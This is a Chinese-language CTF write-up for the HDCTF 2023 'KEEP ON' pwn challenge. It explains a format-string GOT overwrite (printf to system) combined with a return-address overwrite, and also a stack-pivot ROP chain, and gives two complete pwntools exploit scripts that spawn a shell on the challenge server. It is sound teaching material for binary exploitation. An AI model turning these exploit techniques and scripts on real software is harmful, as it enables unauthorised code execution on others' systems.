收获

  • 结合格式化字符串和栈溢出漏洞,当 printf(s) 只能执行一次时,需想办法让 printf(s) 再执行一次,可以利用栈溢出修改返回地址为 printf(s) 所在的函数。但是一定要注意输入长度的问题,本题对溢出的长度有要求,只够刚刚好覆盖返回地址,切不可使用 io.sendline(payload)

  • 使用栈迁移主要是找好迁移的地址,用迁移的地址覆盖 EBP,用 leave; ret 覆盖返回地址

  • 要注意 payload 中 b'/bin/sh' 填的是地址,如果是我们自己写到栈上的,需要利用泄露的 RSP 或者 RBP 计算其在栈中的偏移,然后得出其真实地址


【HDCTF 2023】 KEEP ON


思路一 (格式化字符串)

查看保护,64 位程序:

HDCTF2023-KEEP_ON1.png

IDA 分析:

HDCTF2023-KEEP_ON2.png

HDCTF2023-KEEP_ON3.png

存在一个像后门的函数,仔细一看好像又不是。。。。。。

HDCTF2023-KEEP_ON8.png

像极了当时没看清楚,以为真的是后门的我

利用格式化字符串漏洞将 printf() 的 GOT 表地址改为 shell() 后,只得到了冰冷的四个字母:”flag”(真 · flag)

逻辑不难,主要在于 vuln()

第一个 read() 输入的长度为 0x48,而 s 所在位置为 [rsp+0h] [rbp-50h],栈的长度为 0x50,我们的输入无法覆盖到返回地址

可以看到 printf(s) 明显的格式化字符串漏洞,结合程序的 Partial RELRO,可以想到将 printf() 的 GOT 表地址修改为 system()

但是这样修改之后,我们还需要调用一次 printf(s),通过将 s 写入为 "/bin/sh",来触发 system("/bin/sh")

实际情况是,我们只能使用一次 printf(s),后面也已经没有 printf(s) 可用了

不过看到后面还有一个 read(),这次输入的长度为 0x60,s 的栈长 0x50,RBP 占 8 字节,返回地址占 8 字节,0x50 + 8 + 8 = 0x60 正好可以覆盖返回地址

因此可以考虑通过第二次 read() 覆盖返回地址为 vuln(),这样就可以再执行一次 vuln() 中的 printf(s) 了,正好满足我们格式化字符串漏洞的思想

注意:

在第一个 read() 处,可输入的最大长度为 0x48,通过调试我们可以看到,我们通过 payload = fmtstr_payload(6, {printf_got_addr: system_addr}) 构造的 payload 实际长度为 40,也就是 0x28,并未超出最大长度

因此在第一个 payload 发送时,我们使用 io.send()io.sendline() 实际效果没什么区别,因为 payload 最终以 b'\x00' 结尾,另外即使 io.sendline() 追加换行符也不会超过 0x48

HDCTF2023-KEEP_ON5.png

但是,利用第二个 read() 覆盖返回地址时就不一样了

输入的最大长度被限制为 0x60,而我们将返回地址修改为 vuln() 最少需要 0x60 的长度,因此这时我们只能用 io.send() 来发送 payload,不可以再使用 io.sendline() 追加换行符,否则会出错


脚本一

from pwn import *

context(os='linux', arch='amd64', log_level='debug')
content = 0

if content == 1:
    io = process('./hdctf')
else:
    io = remote('node4.anna.nssctf.cn', 28438)


def debug(cmd=''):
    gdb.attach(io, cmd)
    pause()


elf = ELF('./hdctf')
vuln_addr = elf.symbols['vuln']
printf_got_addr = elf.got["printf"]
print("printf_got_addr -->", hex(printf_got_addr))
system_addr = elf.symbols["system"]
print("system_addr -->", hex(system_addr))

io.recvuntil(b'please show me your name: \n')
payload = fmtstr_payload(6, {printf_got_addr: system_addr})
# debug()
io.send(payload)   # 使用 io.sendline(payload) 也可以

io.recvuntil(b'keep on !\n')
payload = b'a' * (0x50 + 8) + p64(vuln_addr)
# pause()
io.send(payload)   # 长度被限制,不可以使用 io.sendline(payload)

io.recvuntil(b'please show me your name: \n')
payload = b'/bin/sh\x00'
# pause()
io.send(payload)

io.interactive()

结果一

HDCTF2023-KEEP_ON4.png


思路二 (栈迁移)

另一种方法就是使用栈迁移

首先我们需要泄露栈的地址,使用 GDB 调试,在第一个 read() 处输入:

aaaaaaaa_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p

然后运行到 printf(s) 处:

HDCTF2023-KEEP_ON6.png

aaaaaaaa_0x7fffffffb9c0_(nil)_0x7ffff7d14887_0x6_0x6022a0_0x6161616161616161_0x255f70255f70255f_0x5f70255f70255f70_0x70255f70255f7025_0x255f70255f70255f_0x5f70255f70255f70_0x70255f70255f7025_0x255f70255f70255f_0xa70255f70_(nil)_0x7fffffffdb40_0x400768_0x1_0x7ffff7c29d90_(nil)

HDCTF2023-KEEP_ON7.png

可以看到 RBP 位于第 16 个位置,因此使用 b'%16$p' 即可泄露 RBP 中存放的地址,这个地址 0x7fffffffdb40 就是上一个 RBP 所在地址,我这里记为 old_rbp_addr

而现在的 RBP 地址为 0x7fffffffdb30,与上一个 RBP 所在位置相距 2 字节,也就是:now_rbp_addr = old_rbp_addr - 0x10

栈迁移的核心在于,将当前的 EBP 覆盖为我们想要将栈迁移过去的地址,然后将返回地址覆盖为 leave; ret 的地址

栈迁移的详细原理,见本站的《栈迁移》一文

第二次 read() 时,我们需要计算一下第二次输入的地方与 old_rbp_addr 之间的距离

注意:计算第二次输入的地方与 now_rbp_addr 之间的距离也可以

这里我们主要是为了得到第二次输入的位置所在的地址,因为 old_rbp_addr 是直接泄露出来的,方便计算一点而已

为了与前面的 aaaaaaaa 区分开,这次调试我们输入:

bbbbbbbb

HDCTF2023-KEEP_ON9.png

计算得第二次输入的地方与 old_rbp_addr 之间的距离为 0x60,也就是与 now_rbp_addr 相距 0x50

于是,我们可以将栈迁移到:target_addr = old_rbp_addr - 0x60 - 0x08(减的 0x08 是为了覆盖掉原先的返回地址),即:第二次输入的位置所在的地址的上一个内存单元

如果前面计算的是第二次输入的地方与 now_rbp_addr 之间的距离

那么这里就变为:target_addr = now_rbp_addr - 0x50 - 0x08

至于其他的 ROP 所需要用到的参数,这里就不详细说了:

HDCTF2023-KEEP_ON10.png

HDCTF2023-KEEP_ON11.png

这里可以直接将 b'/bin/sh' 写入栈中,因为我们已知栈的地址,就可以根据栈的地址来定位写入的 b'/bin/sh' 的地址,因此可以不用 libc 偏移来计算 b'/bin/sh' 的地址


脚本二

from pwn import *

context(os='linux', arch='amd64', log_level='debug')
content = 0

if content == 1:
    io = process('./hdctf')
else:
    io = remote('node4.anna.nssctf.cn', 28014)


def debug(cmd=''):
    gdb.attach(io, cmd)
    pause()


elf = ELF('./hdctf')
system_addr = elf.symbols["system"]
print("system_addr -->", hex(system_addr))

io.recvuntil(b'please show me your name: \n')
payload = b'%16$p'
# debug()
io.send(payload)
io.recvuntil("0x")
old_rbp_addr = int(io.recv()[0:12], 16)
now_rbp_addr = old_rbp_addr - 0x10
print("old_rbp_addr -->", hex(old_rbp_addr))
print("now_rbp_addr -->", hex(now_rbp_addr))
target_addr = old_rbp_addr - 0x60 - 0x08
print("target_addr -->", hex(target_addr))

leave_ret = 0x4007f2
pop_rdi_ret = 0x4008d3
ret = 0x4005b9

# -------------------- 栈 s --------------------
payload = p64(pop_rdi_ret)
# payload += b'/bin/sh\x00'   # 注意:送入 RDI 作为 system 参数的是 b'/bin/sh' 的地址,而不是 b'/bin/sh' 本身
payload += p64(target_addr + 0x8 * 5)   # target_addr 的下一个地址就是 s 栈中的第一个位置,也就是 payload 中的 p64(pop_rdi_ret),而 b'/bin/sh\x00' 在栈 s 中的第 5 个位置,因此偏移为 0x8 * 5
payload += p64(ret)
payload += p64(system_addr)
payload += b'/bin/sh\x00'
payload = payload.ljust(0x50, b'a')
# -------------------- 栈 s --------------------
payload += p64(target_addr)   # 当前的 EBP 所在位置,即:now_rbp_addr,填写将栈迁移过去的目标地址
payload += p64(leave_ret)   # 返回地址,填写 leave; ret 
io.send(payload)

io.interactive()

结果二

HDCTF2023-KEEP_ON12.png